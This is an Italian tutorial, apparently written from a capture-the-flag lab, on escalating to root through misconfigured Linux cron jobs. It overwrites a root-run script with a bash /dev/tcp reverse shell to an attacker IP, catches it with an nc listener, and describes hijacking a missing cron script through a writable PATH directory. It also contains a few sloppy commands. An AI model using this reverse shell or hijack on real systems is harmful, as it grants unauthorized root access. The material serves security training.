I cron job sono script che vengono eseguiti sulla macchina a scadenze specifiche, questo se fatto in modo corretto non presenta vulnerabiltà, ma in caso un utente con bassi privilegi abbia accesso ad un file con permessi di root nella cron tab allora questa diventerebbe una vulnerabilità grave che ci permetterebbe di eseguire una privilage escalation con permessi di root, perchè si potrebbe sfruttare quel file per caricare una reverse shell che ci darebbe accesso con privilegi di root. Ecco un esempio:
karen@ip-10-10-67-66:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root /antivirus.sh
* * * * * root antivirus.sh
* * * * * root /home/karen/backup.sh
* * * * * root /tmp/test.pyIn questo cron tab possiamo notare che il file backup.sh viene eseguito con privilegi di root ”* * * * * root /home/karen/backup.sh” e può essere eseguito dall’utente karen, per vedere se possiamo modificarlo con l’utente karen possiamo utilizzare diversi metodi tra cui:
cat /etc/crontab | ls -lha
total 20K
drwxrwxrwx 4 root root 4.0K Sep 30 08:33 .
drwxr-xr-x 4 root root 4.0K Jun 20 2021 ..
drwx------ 2 karen karen 4.0K Sep 30 08:33 .cache
drwxrwxr-x 3 karen karen 4.0K Jun 20 2021 .local
-rw-r--r-- 1 karen karen 77 Jun 20 2021 backup.shOppure se possiamo accedere a questi file possiamo vedere con quali privilegi è stato eseguito, ma non sempre sono accessibili agli utenti:
#cron o syslog sono due nomi per lo stesso file, dipende dal sistema operativo
grep CRON /var/log/syslog
grep CRON /var/log/cronIn ogni caso se un cron job viene eseguito da un utente lo possiamo trovare attraverso il comando crontab -l attraverso l’utente, se non appare vuol dire che non è esguito da quell’utente:
crontab -lNOTA
Il file va reso eseguibile tramite il comando chmod +x
Nel caso fossimo in grado di modificare il file che viene eseguito da root nel crontab ci basterebbe sostituirne il contenuto con una reverse shell e metterci in ascolto su un nuovo terminale per accettare la nuova connessione con privilegi di root:
echo "bash -i >& /dev/tcp/10.11.141.131/3333 0>&1" > backup.sh
cat backup.sh
bash -i >& /dev/tcp/10.11.141.131/3333 0>&1
#Eseguire questo comando su un altro terminale
nc -lvnp 3333
Un’ altro tipo di vulnerabilità può essere data dai file che non hanno una rotta, che non esistono e che vengono eseguiti da root, perchè è possibile che quel file una volta esistesse e che in seguito è stato cancellato perchè non serviva più, ma il cron job si sono dimenticati di cancellarlo. Questo ci permette di creare un file con lo stesso nome e con un contenuto malevolo come una reverse shell all’interno di una directory contenuta nel file PATH di Linux in modo tale che il cron job andrà a cercare in tutte le directory sotto le rotte PATH ed andrà ad eseguire il nostro file malevolo. In teoria non è necessario che il file non abbia una rotta definita perchè se abbiamo accesso alla rotta del file lo possiamo comunque modificare come fatto con l’esempio di karen, ma siccome molte volte non abbiamo il permesso di accedere a questi file il fatto che ci sia un file senza rotta ci da la possibilità di creare noi un file in una qualsiasi directory presente nel percorso PATH e quindi in una nella quale abbiamo il permesso di scrivere. Quindi sempre nell’esempio precedente abbiamo un file antivirus.sh che è senza rotta e che non esiste:
karen@ip-10-10-67-66:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root /antivirus.sh
* * * * * root antivirus.sh
* * * * * root /home/karen/backup.sh
* * * * * root /tmp/test.py
Quindi potremmo creare un file antivirus.sh con all’interno una reverse shell e poi metterlo in una directory presente nel PATH come /usr/local/bin/antivirus.sh oppure nella cartella home dell’utente e il risultato sarebbe una reverse shell con privilegi di root.
nota
Per capire ogni quanto un cron job viene eseguito bisogna guardare gli * che indicano:
Ogni asterisco rappresenta un intervallo temporale, e qui abbiamo:
- Il primo asterisco: rappresenta i minuti (valori da 0 a 59).
- Il secondo asterisco: rappresenta le ore (valori da 0 a 23).
- Il terzo asterisco: rappresenta il giorno del mese (valori da 1 a 31).
- Il quarto asterisco: rappresenta il mese (valori da 1 a 12).
- Il quinto asterisco: rappresenta il giorno della settimana (valori da 0 a 6, dove 0 = Domenica).
Quindi se per esempio avessimo un cron job che viene eseguito tutti i giorno alle ore 3.30 sarà indicato in questo modo:
30 3 * * * root /path/to/script.sh